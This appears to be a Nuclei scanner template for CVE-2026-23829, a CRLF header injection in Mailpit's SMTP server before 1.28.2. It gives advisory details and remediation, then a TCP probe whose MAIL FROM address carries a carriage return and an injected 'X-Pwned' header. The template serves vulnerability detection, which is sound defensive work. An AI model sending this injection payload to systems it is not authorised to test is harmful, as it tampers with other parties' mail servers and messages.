Mailpit < 1.28.2 - SMTP CRLF Injection

id: CVE-2026-23829

info:
  name: Mailpit < 1.28.2 - SMTP CRLF Injection
  author: omarkurt
  severity: medium
  description: |
    Mailpit < 1.28 contains a header injection caused by insufficient regex validation of `RCPT TO` and `MAIL FROM` addresses in the SMTP server, letting attackers inject arbitrary SMTP headers, exploit requires crafted email addresses
  impact: |
    An attacker can inject arbitrary headers into captured emails, corrupt existing headers like the Received header, and generate malformed .eml files. This violates RFC 5321 which forbids control characters in envelope addresses.
  remediation: |
    Upgrade Mailpit to version 1.28.3 or later which updates the regex to explicitly exclude all ASCII control characters (\x00-\x1f) from email addresses.
  reference:
    - https://rosecurify.com/advisories/RO-26-002-mailpit-smtp-header-injection/
    - https://github.com/axllent/mailpit/security/advisories/GHSA-54wq-72mp-cq7c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-23829
    epss-score: 0.00936
    epss-percentile: 0.76104
    cwe-id: CWE-93
    cpe: cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: axllent
    product: mailpit
    shodan-query: title:"Mailpit"
    fofa-query: title="Mailpit"
  tags: cve,cve2026,tcp,crlf,smtp,mailpit,


tcp:
  - inputs:
      - data: "EHLO {{Hostname}}\r\n"
      - data: "MAIL FROM:<attacker\rX-Pwned:{{randstr}}>\r\n"
      - data: "RCPT TO:<[email protected]>\r\n"
      - data: "DATA\r\n"
      - data: "Subject: Test \r\n\r\nCombined Template Check.\r\n.\r\n"
      - data: "QUIT\r\n"

    host:
      - "{{Hostname}}"
    port: 1025
    read-size: 2048

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "250"

      - type: word
        words:
          - "501"
          - "500"
          - "553"
        negative: true
# digest: 4a0a00473045022100ce0c3524d0a7a42fb43eb80f07843d2da2936541583b8584031b591f9eef9d430220593d73187d2e6bc733158333be1828f7add6681fb73a50c2d21e01edd15d7af7:922c64590222798bb761d5b6d8e72950